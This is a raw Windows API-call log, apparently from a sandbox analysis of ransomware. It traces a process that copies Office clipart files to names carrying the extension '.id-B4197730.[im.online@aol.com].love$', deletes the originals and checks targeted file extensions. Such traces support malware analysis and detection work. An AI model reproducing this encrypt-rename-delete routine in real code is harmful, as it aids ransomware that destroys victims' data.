[0229.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0229.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0229.799] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.800] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0229.800] GetLastError () returned 0x0 [0229.801] ReadFile (in: hFile=0x458, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x57f4, lpOverlapped=0x0) returned 1 [0229.809] WriteFile (in: hFile=0x460, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5800, lpOverlapped=0x0) returned 1 [0229.811] ReadFile (in: hFile=0x458, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.811] WriteFile (in: hFile=0x460, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.811] SetEndOfFile (hFile=0x460) returned 1 [0229.812] CloseHandle (hObject=0x460) returned 1 [0229.817] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.817] SetEndOfFile (hFile=0x458) returned 1 [0230.085] CloseHandle (hObject=0x458) returned 1 [0230.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0230.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0230.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0230.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0230.368] lstrlenW (lpString=".doc") returned 4 [0230.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString=".docx") returned 5 [0230.368] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.368] lstrlenW (lpString=".pdf") returned 4 [0230.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString=".xls") returned 4 [0230.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.368] lstrlenW (lpString=".xlsx") returned 5 [0230.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.368] lstrlenW (lpString=".ppt") returned 4 [0230.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0230.368] lstrlenW (lpString=".zip") returned 4 [0230.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.368] lstrlenW (lpString=".rar") returned 4 [0230.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.369] lstrlenW (lpString=".bz2") returned 4 [0230.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.369] lstrlenW (lpString=".7z") returned 3 [0230.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0230.369] lstrlenW (lpString=".dbf") returned 4 [0230.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0230.369] lstrlenW (lpString=".1cd") returned 4 [0230.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0230.369] lstrlenW (lpString=".jpg") returned 4 [0230.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0230.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0230.369] lstrlenW (lpString=".doc") returned 4 [0230.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.369] lstrlenW (lpString=".docx") returned 5 [0230.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.369] lstrlenW (lpString=".pdf") returned 4 [0230.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.369] lstrlenW (lpString=".xls") returned 4 [0230.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.369] lstrlenW (lpString=".xlsx") returned 5 [0230.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.369] lstrlenW (lpString=".ppt") returned 4 [0230.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0230.369] lstrlenW (lpString=".zip") returned 4 [0230.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.370] lstrlenW (lpString=".rar") returned 4 [0230.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.370] lstrlenW (lpString=".bz2") returned 4 [0230.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.370] lstrlenW (lpString=".7z") returned 3 [0230.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0230.370] lstrlenW (lpString=".dbf") returned 4 [0230.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0230.370] lstrlenW (lpString=".1cd") returned 4 [0230.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0230.370] lstrlenW (lpString=".jpg") returned 4 [0230.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.370] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0230.370] lstrlenW (lpString="BD08773_.WMF") returned 12 [0230.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0230.371] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=24778) returned 1 [0230.371] CloseHandle (hObject=0x46c) returned 1 [0230.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0230.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0230.372] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.372] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0230.373] GetLastError () returned 0x0 [0230.373] ReadFile (in: hFile=0x46c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x60ca, lpOverlapped=0x0) returned 1 [0230.480] WriteFile (in: hFile=0x470, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0230.482] ReadFile (in: hFile=0x46c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.482] WriteFile (in: hFile=0x470, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.482] SetEndOfFile (hFile=0x470) returned 1 [0230.870] CloseHandle (hObject=0x470) returned 1 [0230.872] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.872] SetEndOfFile (hFile=0x46c) returned 1 [0230.876] CloseHandle (hObject=0x46c) returned 1 [0230.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0230.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0230.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0230.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0230.878] lstrlenW (lpString=".doc") returned 4 [0230.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.878] lstrlenW (lpString=".docx") returned 5 [0230.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.878] lstrlenW (lpString=".pdf") returned 4 [0230.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.878] lstrlenW (lpString=".xls") returned 4 [0230.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.878] lstrlenW (lpString=".xlsx") returned 5 [0230.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.878] lstrlenW (lpString=".ppt") returned 4 [0230.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0230.878] lstrlenW (lpString=".zip") returned 4 [0230.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.878] lstrlenW (lpString=".rar") returned 4 [0230.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.878] lstrlenW (lpString=".bz2") returned 4 [0230.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.880] lstrlenW (lpString=".7z") returned 3 [0230.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0230.881] lstrlenW (lpString=".dbf") returned 4 [0230.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0230.881] lstrlenW (lpString=".1cd") returned 4 [0230.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0230.881] lstrlenW (lpString=".jpg") returned 4 [0230.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0230.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0230.881] lstrlenW (lpString=".doc") returned 4 [0230.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.881] lstrlenW (lpString=".docx") returned 5 [0230.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.881] lstrlenW (lpString=".pdf") returned 4 [0230.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.881] lstrlenW (lpString=".xls") returned 4 [0230.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.881] lstrlenW (lpString=".xlsx") returned 5 [0230.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.881] lstrlenW (lpString=".ppt") returned 4 [0230.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0230.881] lstrlenW (lpString=".zip") returned 4 [0230.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.881] lstrlenW (lpString=".rar") returned 4 [0230.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.881] lstrlenW (lpString=".bz2") returned 4 [0230.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.882] lstrlenW (lpString=".7z") returned 3 [0230.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0230.882] lstrlenW (lpString=".dbf") returned 4 [0230.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0230.882] lstrlenW (lpString=".1cd") returned 4 [0230.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0230.882] lstrlenW (lpString=".jpg") returned 4 [0230.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.882] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0230.882] lstrlenW (lpString="BD09031_.WMF") returned 12 [0230.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0230.884] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=47786) returned 1 [0230.884] CloseHandle (hObject=0x46c) returned 1 [0230.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0230.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0230.885] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.885] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0230.885] GetLastError () returned 0x0 [0230.885] ReadFile (in: hFile=0x46c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0230.994] WriteFile (in: hFile=0x470, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xbab0, lpOverlapped=0x0) returned 1 [0230.996] ReadFile (in: hFile=0x46c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.996] WriteFile (in: hFile=0x470, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.996] SetEndOfFile (hFile=0x470) returned 1 [0230.996] CloseHandle (hObject=0x470) returned 1 [0230.997] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.997] SetEndOfFile (hFile=0x46c) returned 1 [0231.452] CloseHandle (hObject=0x46c) returned 1 [0231.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0231.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0231.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0231.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0231.454] lstrlenW (lpString=".doc") returned 4 [0231.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.454] lstrlenW (lpString=".docx") returned 5 [0231.454] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0231.454] lstrlenW (lpString=".pdf") returned 4 [0231.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.454] lstrlenW (lpString=".xls") returned 4 [0231.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.454] lstrlenW (lpString=".xlsx") returned 5 [0231.454] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0231.454] lstrlenW (lpString=".ppt") returned 4 [0231.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0231.454] lstrlenW (lpString=".zip") returned 4 [0231.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.454] lstrlenW (lpString=".rar") returned 4 [0231.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.454] lstrlenW (lpString=".bz2") returned 4 [0231.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.454] lstrlenW (lpString=".7z") returned 3 [0231.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0231.454] lstrlenW (lpString=".dbf") returned 4 [0231.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0231.454] lstrlenW (lpString=".1cd") returned 4 [0231.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0231.454] lstrlenW (lpString=".jpg") returned 4 [0231.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0231.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0231.455] lstrlenW (lpString=".doc") returned 4 [0231.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.455] lstrlenW (lpString=".docx") returned 5 [0231.455] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0231.455] lstrlenW (lpString=".pdf") returned 4 [0231.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.455] lstrlenW (lpString=".xls") returned 4 [0231.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.455] lstrlenW (lpString=".xlsx") returned 5 [0231.455] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0231.455] lstrlenW (lpString=".ppt") returned 4 [0231.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0231.455] lstrlenW (lpString=".zip") returned 4 [0231.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.455] lstrlenW (lpString=".rar") returned 4 [0231.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.455] lstrlenW (lpString=".bz2") returned 4 [0231.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.455] lstrlenW (lpString=".7z") returned 3 [0231.455] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0231.455] lstrlenW (lpString=".dbf") returned 4 [0231.455] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0231.455] lstrlenW (lpString=".1cd") returned 4 [0231.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0231.455] lstrlenW (lpString=".jpg") returned 4 [0231.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.456] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0231.456] lstrlenW (lpString="BD09664_.WMF") returned 12 [0231.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0231.536] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7966) returned 1 [0231.537] CloseHandle (hObject=0x46c) returned 1 [0231.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0231.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft 